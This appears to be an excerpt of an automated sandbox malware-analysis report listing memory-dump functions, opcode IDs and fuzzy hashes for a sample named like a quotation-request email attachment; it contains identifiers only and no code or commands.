Instruction ID: 5fcd01a77883743b12acae1e48b6a5b5447b5c4ca40d4aa5a52dfaff8e1013da
Opcode Fuzzy Hash: f07e7e05bb25928a56d79f2b0c915a559cc0e51b5a30f1779b0a185dee794ba6
Instruction Fuzzy Hash: 055122306047414FE365EF39D44079BBBE2AF86220F108A2AD497CB7D1DB789C46CBA1

Function 0648A7D0 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca599029c90c8682c199450a4e5bd4673ea91a2065c6eefe7c848e05942ac7e1
Instruction ID: caf16aaab473b02d95280fa3037c0f82abe08b706392e770a57aad23417c640c
Opcode Fuzzy Hash: ca599029c90c8682c199450a4e5bd4673ea91a2065c6eefe7c848e05942ac7e1
Instruction Fuzzy Hash: AC512E34B00619DFCB14EF64E458AAEB7B6FF88712F10812AE5029B364DF749946CF91

Function 0648E898 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef3c208a3bf48491bc63557832b8f2ee35f127c6f1aaf4d995631b1e9e90e6b9
Instruction ID: 3f25975fabaa2856a87febb13380bceb4bb870a3ab34e7e04f6632a83930495b
Opcode Fuzzy Hash: ef3c208a3bf48491bc63557832b8f2ee35f127c6f1aaf4d995631b1e9e90e6b9
Instruction Fuzzy Hash: 63413334B106148FCB95BB69C854A6E77BAAFC8710F10452EE5129B394CFB49C46CB91

Function 065B6C0A Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e80c632c5b4740bb16fe7bf0ac9464a0f96669d9ca3df7009e9f9ea6bb6d1d87
Instruction ID: eb83a4c69b8a3c18607b040725b10c11b154726c900a69e24b043fc14564b4d0
Opcode Fuzzy Hash: e80c632c5b4740bb16fe7bf0ac9464a0f96669d9ca3df7009e9f9ea6bb6d1d87
Instruction Fuzzy Hash: 7A51D170D01208DFDB68DFB9D994AEDBBB2FF88300F20A16AE409AB255DB345941CF50

Function 01380868 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c9e956f3803dcc56bbcc6e0b61c3d138eb93fd861058824bdd9169acc43bf15
Instruction ID: 9d427384788a596845319423fe5b397b88416f2dfee204ee73277cdbcf403444
Opcode Fuzzy Hash: 0c9e956f3803dcc56bbcc6e0b61c3d138eb93fd861058824bdd9169acc43bf15
Instruction Fuzzy Hash: 0141FA34B003148FDB6DBB79D42426E3AE67F8A614B14446CE806EB395EE358D0687D1

Function 0138D4F2 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6232f2f954edc89a90e5478fb5c3636d4779cb135c004f1e540cf1efec8a2789
Instruction ID: 8dd64f82a68932fba1c89e919b6065f12619111056b616f8583f776bca791927
Opcode Fuzzy Hash: 6232f2f954edc89a90e5478fb5c3636d4779cb135c004f1e540cf1efec8a2789
Instruction Fuzzy Hash: 1151FA74D01208DFCB08DFA9E448A9EBBF6FF89318F10906AE515A7361DB349945CF51

Function 0138D500 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c06e4c46108b11d2c38be0ca2f562db107d88aea972bb7d8b62fd10386401a48
Instruction ID: b4a5db9ab5601a24a50ccd37f60eaadd8866f56a3b5d984786eaed6c6e6ded0a
Opcode Fuzzy Hash: c06e4c46108b11d2c38be0ca2f562db107d88aea972bb7d8b62fd10386401a48
Instruction Fuzzy Hash: AB51D874D00208DFDB08DFA9E448AAEBBF6FF89318F10906AE515A7390DB349945CF51

Function 065B64C8 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e1b741bb913375afaab12e5b9434fa1176921a8bf599277c9c70475eba81100
Instruction ID: 9981032bb3a925605f53b65a840e3f596c82c5920664b6c0b62f5de481fcef80
Opcode Fuzzy Hash: 3e1b741bb913375afaab12e5b9434fa1176921a8bf599277c9c70475eba81100
Instruction Fuzzy Hash: E351E270D05228CFEBA4CF69D880BA8BBF2FB49304F50A5A9D409A7251DB759E84CF51

Function 065B64FD Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13867a055c2a6610e70509f65ddaeb2cf29989445b4724e83bf43e057e278c37
Instruction ID: 67241d9b7f89a4210938823e4058753407f181a871daff3ec84814f7923f0e38
Opcode Fuzzy Hash: 13867a055c2a6610e70509f65ddaeb2cf29989445b4724e83bf43e057e278c37
Instruction Fuzzy Hash: 7F51D370D01228CFEBA4CF69D884BE8BBB2FB49304F50A5A9E409E7251DB755D81CF51

Function 0648FD7F Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b45a256658e0e15eec87e3587352c66f32106147393c470390457e0a02cf71d
Instruction ID: 260c3d5177ebcae13693b53ae68685606071fd10f0ea0a3fc96712b56c904d64
Opcode Fuzzy Hash: 3b45a256658e0e15eec87e3587352c66f32106147393c470390457e0a02cf71d
Instruction Fuzzy Hash: BC416E35E001189FDB55EB64D854AEEB7B5FF88351F20806AE812BB391CB359D16CBA0

Function 065B6C50 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cb97d364cd459cfe702a2a617545c9653143dd1bc79f8d7718265a32583c342
Instruction ID: 1f79df79791a512567c7399b9bc12c08affb4ead1dc1c1b1ba4c699cb966fa9e
Opcode Fuzzy Hash: 5cb97d364cd459cfe702a2a617545c9653143dd1bc79f8d7718265a32583c342
Instruction Fuzzy Hash: 7941C274D01208DFDB68DFB9D994ADDBBB2BF88300F20952AE419AB255DB319941CF50

Function 065B6325 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db54ecc0d7f10f81879e9282ebcf8ed2107ddc386e908a82fdd0c2a527eb82b
Instruction ID: f58ac1f9016f62ef79f774204872bd7bf21bf58a94cfce88495b9254a7aae8ee
Opcode Fuzzy Hash: 2db54ecc0d7f10f81879e9282ebcf8ed2107ddc386e908a82fdd0c2a527eb82b
Instruction Fuzzy Hash: 7F41D470D01228CFEBA4CF69D880BA8BBF2FB49304F50A5A9E409E7251EB755D81CF45

Function 065B6775 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a164fb81c1a75c1a20283cdd1c56a627d6cf1edd25bbb9f572db296bd6028152
Instruction ID: 9515d294728f515b41c627926424f24cb9fa0a770dac959d51e7b83c13abbdd8
Opcode Fuzzy Hash: a164fb81c1a75c1a20283cdd1c56a627d6cf1edd25bbb9f572db296bd6028152
Instruction Fuzzy Hash: C741D670D05228CFEBA4CF69D880BA8BBF2FB49304F50A5A9E409E7251EB755D80CF41

Function 06481068 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 376b220f878e7e85ae9b7eedc1e2d5a9d58211a43df56a46f20049f6e1de5e4f
Instruction ID: c187cf22e4b5031ae6015b15edbf34e6e5e12a12743419b0a87cdd98a12172e5
Opcode Fuzzy Hash: 376b220f878e7e85ae9b7eedc1e2d5a9d58211a43df56a46f20049f6e1de5e4f
Instruction Fuzzy Hash: 3C3103367002556FD7156F69D840AAFBFA7EB8A360B10413AFA05C7350CE728C16C7A1

Function 0648D3B0 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f613e72cf9546c82db628da553eca876d8c111c2e060fd2222630dc21d67a19
Instruction ID: 222fba1384d05742301c85f431165e64583b5ec555f62185aeec8789041aaa48
Opcode Fuzzy Hash: 7f613e72cf9546c82db628da553eca876d8c111c2e060fd2222630dc21d67a19
Instruction Fuzzy Hash: 51311676A001089FCB45DF98D888EA9BBB2FF89720B0640A9E5099F372C731ED51CB40

Function 06482398 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8018354714079bfd23658bcf05deb0b38c0265750980330b6c59e078c452e6b3
Instruction ID: cd2e3e4e4f86317c2495ba8b2389a64f1797a6d1e37b603dea7ffc6d1e088ea3
Opcode Fuzzy Hash: 8018354714079bfd23658bcf05deb0b38c0265750980330b6c59e078c452e6b3
Instruction Fuzzy Hash: 0F41BA31A0021A8FCB91DFA5D8446BFBBB1FF88710F00842AD505E73A0D774DA05CBA0

Function 065B630A Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f13c8fae9ae64be3b0e1cf581e6d94c319cf8ec17b075a52deb82bec356337c
Instruction ID: d1988e3dfcc862c35e824d7ce53bc7804c7e16a794c3b846df1206e92b26f5ef
Opcode Fuzzy Hash: 7f13c8fae9ae64be3b0e1cf581e6d94c319cf8ec17b075a52deb82bec356337c
Instruction Fuzzy Hash: 4841E670D05228CFEBA4CF29D880BA8BBF2FB45304F50A5A9D409E7251DB759D80CF45

Function 064847B0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dca3ea047a1ed7c31a90f518115494b4a63ab22959bd05409439f5e80205f73
Instruction ID: 6053824823e88a05f248f463ea937a74485d421fb111c8fb58f9e1c2241af569
Opcode Fuzzy Hash: 7dca3ea047a1ed7c31a90f518115494b4a63ab22959bd05409439f5e80205f73
Instruction Fuzzy Hash: A821F469C093DAAFD742A7784C106EFBFE4DB07240F0501ABE1A4D7192D2248617CBE2

Function 0648A078 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51fc2ccf38d676234d99c00e4ea022cada70f664e83c5002d585435570e8770f
Instruction ID: ab64904536fffd2dcfc153c90282f078b8e45a851bf59fede31773a93eb9e2bb
Opcode Fuzzy Hash: 51fc2ccf38d676234d99c00e4ea022cada70f664e83c5002d585435570e8770f
Instruction Fuzzy Hash: 5D31C135B102059FDB489F54D894A6EBBB3FF8C321B1440B9EE0A9B365CA71DD52CB90

Function 06482D50 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f72c2d2aed846c2fefb3ecd3fe213a2b5a94dbf15beacd80fa37235e325b4b8
Instruction ID: 312099b1292f8bf88fae8e42e5debe91cf7cb13b0618c881a8ffad71f4331f30
Opcode Fuzzy Hash: 7f72c2d2aed846c2fefb3ecd3fe213a2b5a94dbf15beacd80fa37235e325b4b8
Instruction Fuzzy Hash: 2E41F734A112249FEB65DF24CC91FAEB7B1BF59710F1041DAE905AB391C671AE81CF90

Function 06487031 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64d531b1b282582f08808a7a2856546c1aade98b903e1bc02d903c75b99a272
Instruction ID: fa8c617f0b7ef2eb76497c1020be44f75988d7c9c1b2d31fbd5562154651eb45
Opcode Fuzzy Hash: a64d531b1b282582f08808a7a2856546c1aade98b903e1bc02d903c75b99a272
Instruction Fuzzy Hash: 2B31CB312002049FDB16DF25D894AAE7BA6FF89754F10816AF905CB3A1C775D891CBA0

Function 01384330 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b341f9c54ef1e4aff92db71075888465cfdb394d443d7f8779bd35030302b540
Instruction ID: 6f4d3519a4facc40c48809f075f8dec8830fc8145e519b048773b4aa17efc268
Opcode Fuzzy Hash: b341f9c54ef1e4aff92db71075888465cfdb394d443d7f8779bd35030302b540
Instruction Fuzzy Hash: 89315BB4D0420ADFDB15EFA9C0087AEBBF6FB89308F0080A9D155A7658DB785945CF51

Function 0648B570 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b816316ef07e8ddfbce2b81598d42db5640c81b7d260ba428516932953f27111
Instruction ID: 11990493facd961dca84b3d3072b5dd7606e0df7efc56ffc733a936f710bef5e
Opcode Fuzzy Hash: b816316ef07e8ddfbce2b81598d42db5640c81b7d260ba428516932953f27111
Instruction Fuzzy Hash: A621FF317043508FC7659B69E984A5BFBE9EF85325B0980BBE50ECB242DB31EC42C760

Function 065BE188 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3bc7987fc348d9044b53c57b8e8b6fc6407fed72caedbb92992b8cd4ca638b2
Instruction ID: 29d6e49eb39380ff8e127e4a447e000d5c3ce014678f035ce922e3a6dd262012
Opcode Fuzzy Hash: a3bc7987fc348d9044b53c57b8e8b6fc6407fed72caedbb92992b8cd4ca638b2
Instruction Fuzzy Hash: DA313270E0020ACFEB44CFA9D845AEEBBF2BB88340F18A52AE415B7350D7349941CF90

Function 01384340 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84b5f3a5eb71efe2db05e08a7775bc48353bb19cdd7747e715d6e224c60e8cb3
Instruction ID: 784deb0c835926a97edcff53eea4642bf5d06699eb0351c584c77c9f24b55f42
Opcode Fuzzy Hash: 84b5f3a5eb71efe2db05e08a7775bc48353bb19cdd7747e715d6e224c60e8cb3
Instruction Fuzzy Hash: D03127B4D0420ADFEB14EF99D0087AEBBF6FB88318F00C469D515A7A98DBB85944CF51

Function 065BEB08 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9b344b3fbc72987fbe57886dd57d6176c5eda4d6eb32a52be152d8c5ae88809
Instruction ID: b74d0852fefe74612e57b3d918f9192a835ef3b5632b17d0e0b8aaa1627ff7ae
Opcode Fuzzy Hash: e9b344b3fbc72987fbe57886dd57d6176c5eda4d6eb32a52be152d8c5ae88809
Instruction Fuzzy Hash: E5413874A01218CFDB94DF68E885BDABBF2FB49324F0454A9D50AA3380CB755D88CF51

Function 01388A08 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e070ddc0b86bdb10c397d5a6f3290880742baccad615b6e3bcb90239b699c69
Instruction ID: 02ca35e29d2a29fa1034b4c99379faf7b77e99ddd86b03cbb6b5fd484d5b70f5
Opcode Fuzzy Hash: 0e070ddc0b86bdb10c397d5a6f3290880742baccad615b6e3bcb90239b699c69
Instruction Fuzzy Hash: 2D316874D05309CFEB04EFA9D8447EEBBF6BB89308F1494A9D104A3285DB794A45CB51

Function 0138DE69 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7792d5b57d8ecadac9cf776baa9270a5e507c11e4eff56dfadc9c74c4b67edce
Instruction ID: 17432c4e728b6bf80714a656b89308bbad12ee495277b1cd6089208780425d7a
Opcode Fuzzy Hash: 7792d5b57d8ecadac9cf776baa9270a5e507c11e4eff56dfadc9c74c4b67edce
Instruction Fuzzy Hash: 7C419EB4E04228CFCB64EFA8D884BDDBBF2FB89314F1085AAD549A3345D7745A848F51

Function 06480F68 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4be8c126e2d219f62e63de2480e2dae2c24f4cd94e209e6ba3d4b0d4f542e55b
Instruction ID: 94794584bd47819eacb35f945db2632351542c2d2320c4fc62527275fa85b833
Opcode Fuzzy Hash: 4be8c126e2d219f62e63de2480e2dae2c24f4cd94e209e6ba3d4b0d4f542e55b
Instruction Fuzzy Hash: 64218635A00209DFDB159F58D858ADEBBB7EB8D720F14813AE511A7350CB715C46CFA1

Function 064874B1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 049c3e5c33968eca72ab01270b558ba482e289dbc6dce01335da33ce9d5fda0e
Instruction ID: 899e59aff1f8b6dde91099f348329b4e2d310f80a2bf7ba29ba64b9d217c5833
Opcode Fuzzy Hash: 049c3e5c33968eca72ab01270b558ba482e289dbc6dce01335da33ce9d5fda0e
Instruction Fuzzy Hash: 9C2101B6A0524CAFCB16DF94C880CDEBFBCEF49210B0041A7E541DB261DA30AD06CBA1

Function 0648538F Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 766866f02d66dce0da6b7d53da7c42761bfb1380ff325198f275726d52d2f52a
Instruction ID: 0be1c55eed33a0ef2ac59507c07f239dca41149ec11bc910c1f3cdec8067c442
Opcode Fuzzy Hash: 766866f02d66dce0da6b7d53da7c42761bfb1380ff325198f275726d52d2f52a
Instruction Fuzzy Hash: 6D2181703052589FDB56DF2AC840AAF7BF6AF8A311B154096FC54CB3A1CAB5DC51CB60

Function 0648D3A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bfae42b558331a58254cbe856008aabc25bb957c4ca0640376cec20eae2029c
Instruction ID: c2a92014bb88a9c6924ab4c911e7fa0b2bc48cd8ccaf6387a104bd1cb9f64bfd
Opcode Fuzzy Hash: 9bfae42b558331a58254cbe856008aabc25bb957c4ca0640376cec20eae2029c
Instruction Fuzzy Hash: C1213E36A011049FDB05DF99E898D99BBB2FF89310B0640A9F5099B372C731ED15DB50

Function 064874C9 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c54460c8700ec6ea4a5342e38eb05e63dca7aecf38b04ccf190b86a03c90c51d
Instruction ID: a69922c706c9b3ba62417e09fac02dd39dca3c29eddddda6980c905d770e5caf
Opcode Fuzzy Hash: c54460c8700ec6ea4a5342e38eb05e63dca7aecf38b04ccf190b86a03c90c51d
Instruction Fuzzy Hash: 1C219FB6A0420CAFC719DF98D850CDEFBF9FF88250F004166E545DB260DA30AD06CBA1

Function 06484820 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 996dc9e758406e16d7b89cb6af121361703c4527b92f297764434c15a3acde4f
Instruction ID: 6684a4994854862a4baa0cdc9c5eb028970cb1a34f1002e68adb3f727a7ed94d
Opcode Fuzzy Hash: 996dc9e758406e16d7b89cb6af121361703c4527b92f297764434c15a3acde4f
Instruction Fuzzy Hash: 75213639E0025ADFEB91EBB9C404BAFBBE4AF04240F108066D519D7290E734CA51CBD1

Function 0138F268 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84e023b68e1cdf59180a7384337c5a673b6218b1c753a74b6efb0b0a39b227de
Instruction ID: 130fa15ebd86dcd1c2388d05a4b12a72e3362b5ddae213b86caeb06b04e83ed4
Opcode Fuzzy Hash: 84e023b68e1cdf59180a7384337c5a673b6218b1c753a74b6efb0b0a39b227de
Instruction Fuzzy Hash: CA214679D05319DFDB04DFA9D4086EEBBBAFB89308F14902AD505B3240C7780A44CFA1

Function 0132D030 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1290447073.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_132d000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8787fd18d9cf788b9b00947c8745f87d66ac3f260316f115773c28d3359eece
